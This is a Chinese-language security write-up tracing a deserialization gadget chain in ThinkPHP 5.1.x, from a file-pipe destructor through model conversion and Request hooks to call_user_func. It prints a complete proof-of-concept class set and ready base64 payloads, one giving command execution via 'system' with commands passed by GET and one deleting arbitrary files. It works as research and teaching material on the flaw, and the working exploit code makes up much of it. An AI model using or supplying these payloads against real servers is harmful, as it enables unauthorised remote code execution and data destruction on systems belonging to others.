Thinkphp 反序列化深入分析

  • 环境搭建
  • 铺垫知识
  • 漏洞起点
    • rce部分起点
    • 代码执行点分析
    • 最终POC

环境搭建

Thinkphp 5.1.37 ----- 应该是5.1.x可以

php 7.0.12

composer create-project topthink/think=5.1.37 v5.1.37

铺垫知识

1. PHP反序列化原理
PHP反序列化就是在读取一段字符串然后将字符串反序列化成php对象。
2. 在PHP反序列化的过程中会自动执行一些魔术方法

方法名 ---------------调用条件

__call   调用不可访问或不存在的方法时被调用
__callStatic    调用不可访问或不存在的静态方法时被调用
__clone 进行对象clone时被调用,用来调整对象的克隆行为
__constuct  构建对象的时被调用;
__debuginfo 当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本
__destruct  明确销毁对象或脚本结束时被调用;
__get   读取不可访问或不存在属性时被调用
__invoke    当以函数方式调用对象时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用
__set   当给不可访问或不存在属性赋值时被调用
__set_state 当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。
__sleep 当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__toString  当一个类被转换成字符串时被调用
__unset 对不可访问或不存在的属性进行unset时被调用
__wakeup    当使用unserialize时被调用,可用于做些对象的初始化操作

3. 反序列化的常见起点

__wakeup 一定会调用__destruct 一定会调用__toString 当一个对象被反序列化后又被当做字符串使用

4.反序列化的常见中间跳板:

__toString 当一个对象被当做字符串使用__get 读取不可访问或不存在属性时被调用__set 当给不可访问或不存在属性赋值时被调用__isset 对不可访问或不存在的属性调用isset()或empty()时被调用形如 $this->$func();

5.反序列化的常见终点:

__call 调用不可访问或不存在的方法时被调用call_user_func 一般php代码执行都会选择这里call_user_func_array 一般php代码执行都会选择这里

6.Phar反序列化原理以及特征

phar://伪协议会在多个函数中反序列化其metadata部分受影响的函数包括不限于如下:copy,file_exists,file_get_contents,file_put_contents,file,fileatime,filectime,filegroup,
fileinode,filemtime,fileowner,fileperms,
fopen,is_dir,is_executable,is_file,is_link,is_readable,is_writable,
is_writeable,parse_ini_file,readfile,stat,unlink,exif_thumbnailexif_imagetype,
imageloadfontimagecreatefrom,hash_hmac_filehash_filehash_update_filemd5_filesha1_file,
get_meta_tagsget_headers,getimagesizegetimagesizefromstring,extractTo

漏洞起点

漏洞起点在\thinkphp\library\think\process\pipes\windows.php的__destruct魔法函数。

public function __destruct()
{$this->close();$this->removeFiles();
}

__destruct()里面调用了两个函数,我们跟进removeFiles()函数。


这里看到 unlink函数
这里同时也存在一个任意文件删除的漏洞,Payload构造: 必须使用namespace设置命名空间!

<?php
namespace think\process\pipes;class Pipes{}
class Windows extends Pipes
{private $files = [];public function __construct(){$this->files=['D:\\phpStudy\\PHPTutorial\\WWW\\tp5\\install.lock'];}
}
echo base64_encode(serialize(new Windows()));

输出结果

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjQ0OiJEOlxwaHBTdHVkeVxQSFBUdXRvcmlhbFxXV1dcdHA1XGluc3RhbGwubG9jayI7fX0=

这里只需要一个反序列化漏洞的触发点,便可以实现任意文件删除。
自行构造一个利用点,试用一下
复现成功

rce部分起点

在removeFiles()中使用了file_exists对 filename进行了处理。$filename会被作为字符串处理。

而__toString 当一个对象被反序列化后又被当做字符串使用时会被触发,我们通过传入一个对象来触发__toString 方法。我们全局搜索__toString方法。

这里我们选择 \thinkphp\library\think\model\concern\Conversion.php
Conversion类的第224行, 这里调用了一个toJson()方法。

\thinkphp\library\think\model\concern\Conversion.php

   public function __toString(){return $this->toJson();}

跟进toJson()方法

\thinkphp\library\think\model\concern\Conversion.php

 public function toJson($options = JSON_UNESCAPED_UNICODE){return json_encode($this->toArray(), $options);}

继续toArray()方法

thinkphp\library\think\model\concern\Conversion.php


  • 目的

我们需要在toArray()函数中寻找一个满足$可控变量->方法(参数可控)的点

  • 首先,这里调用了一个getRelation方法。
  • 我们跟进getRelation(),它位于Attribute类中

thinkphp\library\think\model\concern\Conversion.php

这里调用了getRelation方法,跟入后得到代码:

thinkphp\library\think\model\concern\Conversion.php

  public function getRelation($name = null){if (is_null($name)) {return $this->relation;} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}return;}

由于getRelation()下面的if语句为if (!$relation),所以这里不用理会,返回空即可。


然后调用了getAttr方法,我们跟进getAttr方法

thinkphp\library\think\model\concern\Conversion.php

public function getAttr($name, &$item = null){try {$notFound = false;$value    = $this->getData($name);} catch (InvalidArgumentException $e) {$notFound = true;$value    = null;}.........return $value;

继续跟进getData方法

thinkphp\library\think\model\concern\Attribute.php

public function getData($name = null){if (is_null($name)) {return $this->data;} elseif (array_key_exists($name, $this->data)) {return $this->data[$name];} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}

通过查看getData函数我们可以知道relation的值为relation的值为relation的值为this->data[$name],需要注意的一点是这里类的定义使用的是Trait而不是class。自
PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait。通过在类中使用use
关键字,声明要组合的Trait名称。所以,这里类的继承要使用use关键字。然后我们需要找到一个子类同时继承了Attribute类和Conversion类。

我们可以在\thinkphp\library\think\Model.php中找到这样一个类

abstract class Model implements \JsonSerializable, \ArrayAccess
{use model\concern\Attribute;use model\concern\RelationShip;use model\concern\ModelEvent;use model\concern\TimeStamp;use model\concern\Conversion;

我们梳理一下目前我们需要控制的变量

  • $files位于类Windows
  • $append位于类Conversion
  • $data位于类Attribute

引用大佬的图,简单的看一下,后面还有梳理

代码执行点分析

这里的$this->append是我们可控的(在conversion中),然后通过getRelation($key),但是下面有一个!$relation,所以我们只要置空即可

然后调用getAttr($key),在调用getData($name)函数,这里$this->data['name']我们可控(在attribute中)

$relation 变量来自 $this->data[$name]
$name 变量来自 $this->append

之后回到toArray函数,通过这一句话$relation->visible($name); 我们控制$relation为一个类对象,调用不存在的visible方法,会自动调用__call方法,那么我们找到一个类对象没有visible方法

我们现在缺少一个进行代码执行的点,在这个类中需要没有visible方法。并且最好存在__call方法。

因为__call一般会存在__call_user_func和__call_user_func_array,php代码执行的终点经常选择这里。我们不止一次在Thinkphp的rce中见到这两个方法。

可以在/thinkphp/library/think/Request.php,找到一个__call函数。__call 调用不可访问或不存在的方法时被调用。

下面是引用大佬的图,很清晰的链条

call_user_func_array(‘system’,array(‘whoami’));
call_user_func(‘system’,‘calc’);

找到
/thinkphp/library/think/Request.php

 ......public function __call($method, $args){if (array_key_exists($method, $this->hook)) {array_unshift($args, $this);return call_user_func_array($this->hook[$method], $args);}throw new Exception('method not exists:' . static::class . '->' . $method);}.....

$hook这里是可控的,所以call_user_func_array(array(任意类,任意方法),$args) ,这样我们就可以调用任意类的任意方法了。,但是array_unshift()向数组插入新元素时会将新数组的值将被插入到数组的开头,$args第一个值不能够控制。这种情况下我们是构造不出可用的payload的。由于$args第一个值不能够控制,但是构造不出来参数可用的payload,因为第一个参数是$this对象

call_user_func_array(array(任意类,任意方法),$args) ,这样我们就可以调用任意类的任意方法了。
虽然第330行用 array_unshift 函数把本类对象 $this 放在数组变量 $args 的第一个,但是我们可以寻找不受这个参数影响的方法

ThinkPHP 历史 RCE 漏洞的人可能知道, think\Request 类的 input 方法经常是,相当于 call_user_func($filter,$data) 。但是前面, $args 数组变量的第一个元素,是一个固定死的类对象,所以这里我们不能直接调用 input 方法,而应该寻找调用 input 的方法。

最终产生rce的地方是在input函数当中

在input函数中有一个 $this->filterValue($data, $name, $filter);

    private function filterValue(&$value, $key, $filters){$default = array_pop($filters);foreach ($filters as $filter) {if (is_callable($filter)) {// 调用函数或者方法过滤$value = call_user_func($filter, $value);} elseif (is_scalar($value)) {

但是这里的$value不能自己进行控制,所以需要往上找可以控制value的地方,共发现以下函数:

  1. cookie
  2. input 但是这里的input参数并不是可控的:
....public function input($data = [], $name = '', $default = null, $filter = '')
{if (false === $name) {// 获取原始数据return $data;}$name = (string) $name;if ('' != $name) {// 解析nameif (strpos($name, '/')) {list($name, $type) = explode('/', $name);}$data = $this->getData($data, $name);if (is_null($data)) {return $default;}if (is_object($data)) {return $data;}}// 解析过滤器$filter = $this->getFilter($filter, $default);if (is_array($data)) {array_walk_recursive($data, [$this, 'filterValue'], $filter);if (version_compare(PHP_VERSION, '7.1.0', '<')) {// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针$this->arrayReset($data);}} else {$this->filterValue($data, $name, $filter);}

这里$filter可控,data参数不可控,而且$name = (string) $name;这里如果直接调用input的话,执行到这一句的时候会报错,直接退出,所以继续回溯,目的是要找到可以控制$name变量,使之最好是字符串。同时也要找到能控制data参数

protected function getFilter($filter, $default)
{if (is_null($filter)) {$filter = [];} else {$filter = $filter ?: $this->filter;if (is_string($filter) && false === strpos($filter, '/')) {$filter = explode(',', $filter);} else {$filter = (array) $filter;}}$filter[] = $default;return $filter;
}
protected function getData(array $data, $name)
{foreach (explode('.', $name) as $val) {if (isset($data[$val])) {$data = $data[$val];} else {return;}}return $data;
}

我们继续找一个调用input函数的地方。我们找到了param函数。

public function param($name = '', $default = null, $filter = '')
{if (!$this->mergeParam) {$method = $this->method(true);// 自动获取请求变量switch ($method) {case 'POST':$vars = $this->post(false);break;case 'PUT':case 'DELETE':case 'PATCH':$vars = $this->put(false);break;default:$vars = [];}// 当前请求参数和URL地址中的参数合并$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));$this->mergeParam = true;}if (true === $name) {// 获取包含文件上传信息的数组$file = $this->file();$data = is_array($file) ? array_merge($this->param, $file) : $this->param;return $this->input($data, '', $default, $filter);}return $this->input($this->param, $name, $default, $filter);
}

可以看到这里this->param完全可控,是通过get传参数进去的,那么也就是说input函数中的$data参数可控,也就是call_user_func$value,现在差一个条件,那就是name是字符串,继续回溯。
这里仍然是不可控的,所以我们继续找调用param函数的地方。找到了isAjax函数

public function isAjax($ajax = false){$value  = $this->server('HTTP_X_REQUESTED_WITH');$result = 'xmlhttprequest' == strtolower($value) ? true : false;if (true === $ajax) {return $result;}$result           = $this->param($this->config['var_ajax']) ? true : $result;$this->mergeParam = false;return $result;}

在isAjax函数中,我们可以控制$this->config['var_ajax']$this->config['var_ajax']可控就意味着param函数中的name可控。param函数中的name可控。param函数中的name可控。param函数中的name可控就意味着input函数中的$name可控。

可以导致RCE
回溯一下

param()函数 可以获得$_GET数组并赋值给$this->param

$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

array_merge()数组合并起来
这句代码会将$_GET数组赋值到$this->param中,在往下执行就来到了:

return $this->input($this->param, $name, $default, $filter);

再回到input函数中

$data = $this->getData($data, $name);

$name的值来自于$this->config['var_ajax'],我们跟进getData函数。

 protected function getData(array $data, $name){foreach (explode('.', $name) as $val) {if (isset($data[$val])) {$data = $data[$val];} else {return;}}return $data;}
\\

这里$data直接等于 $data = $data[$val] = $data[$name]

然后就是解析过滤器,跟进getFilter函数

$filter = $this->getFilter($filter, $default);
protected function getFilter($filter, $default){if (is_null($filter)) {$filter = [];} else {$filter = $filter ?: $this->filter;if (is_string($filter) && false === strpos($filter, '/')) {$filter = explode(',', $filter);} else {$filter = (array) $filter;}}$filter[] = $default;return $filter;}

就是$filter可控
最后回到input函数 关键代码

最后导致RCE的代码

  private function filterValue(&$value, $key, $filters){$default = array_pop($filters);foreach ($filters as $filter) {if (is_callable($filter)) {// 调用函数或者方法过滤$value = call_user_func($filter, $value);
  • filterValue.value = 第一个通过GET请求的值input.data
  • filters.key = 第一个GET的键
  • filters.filters = input.filters

上大佬的图


总的利用链

到这里思路有了,回过头来看我们poc的利用过程,首先在上一步toArray()方法。创建了一个Request()对象,然后会触发poc里的__construct()方法,接着new Request()-> visible($name),该对象调用了一个不存在的方法会触发__call方法,看一下__construct()方法内容

function __construct(){$this->filter = "system";$this->config = ["var_ajax"=>'lin'];$this->hook = ["visible"=>[$this,"isAjax"]];}

最终POC

<?php
namespace think;
abstract class Model{protected $append = [];private $data = [];function __construct(){$this->append = ["zeo"=>["calc.exe","calc"]];$this->data = ["zeo"=>new Request()];}
}
class Request
{protected $hook = [];protected $filter = "system";protected $config = [// 表单请求类型伪装变量'var_method'       => '_method',// 表单ajax伪装变量'var_ajax'         => '_ajax',// 表单pjax伪装变量'var_pjax'         => '_pjax',// PATHINFO变量名 用于兼容模式'var_pathinfo'     => 's',// 兼容PATH_INFO获取'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],// 默认全局过滤方法 用逗号分隔多个'default_filter'   => '',// 域名根,如thinkphp.cn'url_domain_root'  => '',// HTTPS代理标识'https_agent_name' => '',// IP代理获取标识'http_agent_ip'    => 'HTTP_X_REAL_IP',// URL伪静态后缀'url_html_suffix'  => 'html',];function __construct(){$this->filter = "system";$this->config = ["var_ajax"=>''];$this->hook = ["visible"=>[$this,"isAjax"]];}
}
namespace think\process\pipes;use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{private $files = [];public function __construct(){$this->files=[new Pivot()];}
}
namespace think\model;use think\Model;class Pivot extends Model
{}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

我们把payload通过POST传过去,然后通过GET请求获取需要执行的命令

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJ6ZW8iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJ6ZW8iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fX19fX19

复现成功

参考文章
https://blog.riskivy.com/挖掘暗藏thinkphp中的反序列利用链/
https://blog.csdn.net/qq_43380549/article/details/101265818
https://xz.aliyun.com/t/6467
https://xz.aliyun.com/t/6619
https://www.t00ls.net/thread-54324-1-1.html
https://www.t00ls.net/viewthread.php?tid=52825&extra=&page=1

Thinkphp 反序列化深入分析pop利用链相关推荐

  1. java安全(七) 反序列化3 CC利用链 TransformedMap版

    给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 目录 图解 代码demo 涉及的接口与类: TransformedMap Transformer ConstantTransformer Invo ...

  2. 6-java安全——java反序列化漏洞利用链

    本篇将结合一个apache commons-collections组件来学习java反序列化漏洞原理,以及如何构造利用链. 我们知道序列化操作主要是由ObjectOutputStream类的 writ ...

  3. php嵌套序列化输出tp5.0,ThinkPHP v5.0.x 反序列化利用链挖掘

    前言 前几天审计某cms基于ThinkPHP5.0.24开发,反序列化没有可以较好的利用链,这里分享下挖掘ThinkPHP5.0.24反序列化利用链过程.该POP实现任意文件内容写入,达到getshe ...

  4. php5.5 反序列化利用工具_Yii框架反序列化RCE利用链2

    Yii框架反序列化RCE利用链2(官方无补丁) Author:AdminTony 1.寻找反序列化点 全局搜索__wakeup函数,如下: 找到\symfony\string\UnicodeStrin ...

  5. java实现系列化的jdk_Java反序列化之与JDK版本无关的利用链挖掘

    原标题:Java反序列化之与JDK版本无关的利用链挖掘 Java反序列化之与JDK版本无关的利用链挖掘 一.前言: 总感觉年纪大了,脑子不好使,看过的东西很容易就忘了,最近两天又重新看了下java反序 ...

  6. 告别脚本小子系列丨JAVA安全(6)——反序列化利用链(上)

    0x01 前言 我们通常把反序列化漏洞和反序列化利用链分开来看,有反序列化漏洞不一定有反序列化利用链(经常用shiro反序列化工具的人一定遇到过一种场景就是找到了key,但是找不到gadget,这也就 ...

  7. 告别脚本小子系列丨JAVA安全(7)——反序列化利用链(中)

    0x01 前言 距离上一次更新JAVA安全的系列文章已经过去一段时间了,在上一篇文章中介绍了反序列化利用链基本知识,并阐述了Transform链的基本知识.Transform链并不是一条完整的利用链, ...

  8. 第17篇:Shiro反序列化在Weblogic下无利用链的拿权限方法

     Part1 前言  Shiro反序列化漏洞虽然出现很多年了,但是在平时的攻防比赛与红队评估项目中还是能遇到.主站也许遇不到Shiro漏洞,但是主站边缘域名.全资子公司的子域名.边缘资产.微信公众号. ...

  9. thinkphp漏洞_漏洞分析之thinkPHP反序列化:这就是黑客的世界吗

    前言 作为一个Web菜鸡,我之前和师傅们参加了红帽杯,奈何只有0输出,当时只知道是thinkphp5.2的反序列化漏洞,但是感觉时间不够了,也就没有继续做下去.只有赛后来查漏补缺了,也借着tp5.2这 ...

最新文章

  1. android小程序案例_小程序案例赏析:高质量的小程序怎么做
  2. 探秘腾讯Android手机游戏平台之不安装游戏APK直接启动法
  3. 经常关注的、极具参考价值的网站收集(无限畅想版)
  4. Qt Creator快捷键
  5. WPF- 模拟触发Touch Events
  6. hibernate之缓存
  7. Pytorch有关张量的各种操作
  8. 如何为编程爱好者设计一款好玩的智能硬件(十)——无线2.4G通信模块研究·一篇说完...
  9. impress.js学习总结
  10. 华为 oj java题库_华为OJ 201301 JAVA题目0-1级
  11. HD Audio总线驱动加载失败彻底解决!
  12. Java工程师进阶,Java全栈知识体系
  13. Clevo P950系列拆机
  14. Linux下系统函数
  15. 【建模教程】你还不知道的游戏模型规范要求知识点,汇总赶紧收藏!
  16. 论文阅读《API2Com: On the Improvement of Automatically Generated Code Comments Using API Documentations》
  17. Yao‘s GC 的通信最优解:Half Gate
  18. Part III.S1. 基于离差最大化的直觉模糊多属性决策方法
  19. Check-N-Run: a Checkpointing System for Training Deep Learning Recommendation Models | NSDI‘ 22
  20. dB,dBi, dBd, dBc,dBm,dBw释义及区别

热门文章

  1. CSDN markDown 懒人使用心得
  2. iphone无法使用facetime显示无网络问题
  3. 本博.其人.编程.经历
  4. 用 Python 给文件改名字——————Python
  5. c语言解决拉丁方阵问题
  6. 倒计时100天 | DBF深圳国际户外运动博览会5月一起狂飙初夏
  7. 如何才能让自己时时刻刻都拥有强大的正能量
  8. 万彩脑图大师教程 | 万彩脑图大师免费注册登录
  9. FFmpeg音视频编码实战屏幕录像机视频课程-基于QT5和FFMpegSDK-夏曹俊-专题视频课程...
  10. 【附源码】Python计算机毕业设计企业人事管理系统